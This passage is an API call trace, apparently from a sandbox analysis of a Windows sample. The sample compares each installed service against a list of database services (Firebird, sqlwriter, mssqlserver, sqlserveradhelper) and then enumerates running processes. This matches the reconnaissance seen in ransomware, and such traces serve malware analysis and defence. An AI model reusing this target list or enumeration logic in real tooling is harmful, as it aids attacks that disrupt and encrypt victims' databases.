	[0072.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0072.510] lstrlenW (lpString="LanmanServer") returned 12
	[0072.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0072.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0072.510] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0072.510] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0072.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0072.510] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0072.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0072.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0072.510] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0072.510] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0072.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0072.510] lstrlenW (lpString="lfsvc") returned 5
	[0072.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0072.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0072.510] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0072.511] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0072.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0072.511] lstrlenW (lpString="lmhosts") returned 7
	[0072.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0072.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0072.511] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0072.511] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0072.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0072.511] lstrlenW (lpString="LSM") returned 3
	[0072.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0072.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0072.511] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0072.511] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0072.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0072.511] lstrlenW (lpString="MapsBroker") returned 10
	[0072.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0072.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0072.511] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0072.511] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0072.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0072.511] lstrlenW (lpString="MpsSvc") returned 6
	[0072.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0072.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0072.511] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0072.511] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0072.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0072.511] lstrlenW (lpString="NcbService") returned 10
	[0072.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0072.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0072.511] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0072.511] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0072.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0072.511] lstrlenW (lpString="netprofm") returned 8
	[0072.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0072.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0072.512] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0072.512] lstrlenW (lpString="NlaSvc") returned 6
	[0072.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0072.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0072.512] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0072.512] lstrlenW (lpString="nsi") returned 3
	[0072.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0072.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0072.512] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0072.512] lstrlenW (lpString="PcaSvc") returned 6
	[0072.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0072.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0072.512] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0072.512] lstrlenW (lpString="PlugPlay") returned 8
	[0072.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0072.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0072.512] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0072.512] lstrlenW (lpString="Power") returned 5
	[0072.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0072.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0072.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0072.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0072.512] lstrlenW (lpString="ProfSvc") returned 7
	[0072.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0072.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0072.513] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0072.513] lstrlenW (lpString="RpcEptMapper") returned 12
	[0072.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0072.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0072.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0072.513] lstrlenW (lpString="RpcSs") returned 5
	[0072.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0072.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0072.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0072.513] lstrlenW (lpString="SamSs") returned 5
	[0072.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0072.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0072.513] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0072.513] lstrlenW (lpString="Schedule") returned 8
	[0072.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0072.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0072.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0072.513] lstrlenW (lpString="SecurityHealthService") returned 21
	[0072.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0072.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0072.513] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0072.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0072.514] lstrlenW (lpString="SENS") returned 4
	[0072.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0072.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0072.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0072.514] lstrlenW (lpString="ShellHWDetection") returned 16
	[0072.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0072.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0072.514] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0072.514] lstrlenW (lpString="Spooler") returned 7
	[0072.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0072.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0072.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0072.514] lstrlenW (lpString="SSDPSRV") returned 7
	[0072.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0072.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0072.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0072.514] lstrlenW (lpString="StateRepository") returned 15
	[0072.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0072.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0072.514] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0072.514] lstrlenW (lpString="SysMain") returned 7
	[0072.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0072.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0072.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0072.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0072.515] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x58af48 | out: hHeap=0x500000) returned 1
	[0072.515] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378
	[0073.048] Process32FirstW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0073.048] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0073.049] lstrlenW (lpString="System") returned 6
	[0073.049] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0073.050] lstrlenW (lpString="smss.exe") returned 8
	[0073.050] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0073.050] lstrlenW (lpString="csrss.exe") returned 9
	[0073.050] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0073.051] lstrlenW (lpString="wininit.exe") returned 11
	[0073.051] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0073.051] lstrlenW (lpString="csrss.exe") returned 9
	[0073.051] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0073.052] lstrlenW (lpString="winlogon.exe") returned 12
	[0073.052] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0073.052] lstrlenW (lpString="services.exe") returned 12
	[0073.052] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0073.053] lstrlenW (lpString="lsass.exe") returned 9
	[0073.053] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.053] lstrlenW (lpString="svchost.exe") returned 11
	[0073.053] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0073.054] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0073.054] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0073.054] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0073.055] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.055] lstrlenW (lpString="svchost.exe") returned 11
	[0073.055] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0073.056] lstrlenW (lpString="dwm.exe") returned 7
	[0073.056] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.056] lstrlenW (lpString="svchost.exe") returned 11
	[0073.056] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.057] lstrlenW (lpString="svchost.exe") returned 11
	[0073.057] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.057] lstrlenW (lpString="svchost.exe") returned 11
	[0073.057] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.058] lstrlenW (lpString="svchost.exe") returned 11
	[0073.058] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.058] lstrlenW (lpString="svchost.exe") returned 11
	[0073.058] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.059] lstrlenW (lpString="svchost.exe") returned 11
	[0073.059] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.059] lstrlenW (lpString="svchost.exe") returned 11
	[0073.059] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.060] lstrlenW (lpString="svchost.exe") returned 11
	[0073.060] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.061] lstrlenW (lpString="svchost.exe") returned 11
	[0073.061] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.061] lstrlenW (lpString="svchost.exe") returned 11
	[0073.061] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0073.062] lstrlenW (lpString="spoolsv.exe") returned 11
	[0073.062] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.062] lstrlenW (lpString="svchost.exe") returned 11
	[0073.062] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0073.063] lstrlenW (lpString="audiodg.exe") returned 11
	[0073.063] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0073.064] lstrlenW (lpString="sihost.exe") returned 10
	[0073.064] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.064] lstrlenW (lpString="svchost.exe") returned 11
	[0073.064] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0073.065] lstrlenW (lpString="taskhostw.exe") returned 13
	[0073.065] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0073.065] lstrlenW (lpString="explorer.exe") returned 12
	[0073.065] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0073.066] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0073.066] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0073.066] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0073.066] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0073.067] lstrlenW (lpString="Memory Compression") returned 18
	[0073.067] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0073.067] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0073.068] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0073.068] lstrlenW (lpString="SearchUI.exe") returned 12
	[0073.068] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0073.069] lstrlenW (lpString="RuntimeBroker.exe") returned 17
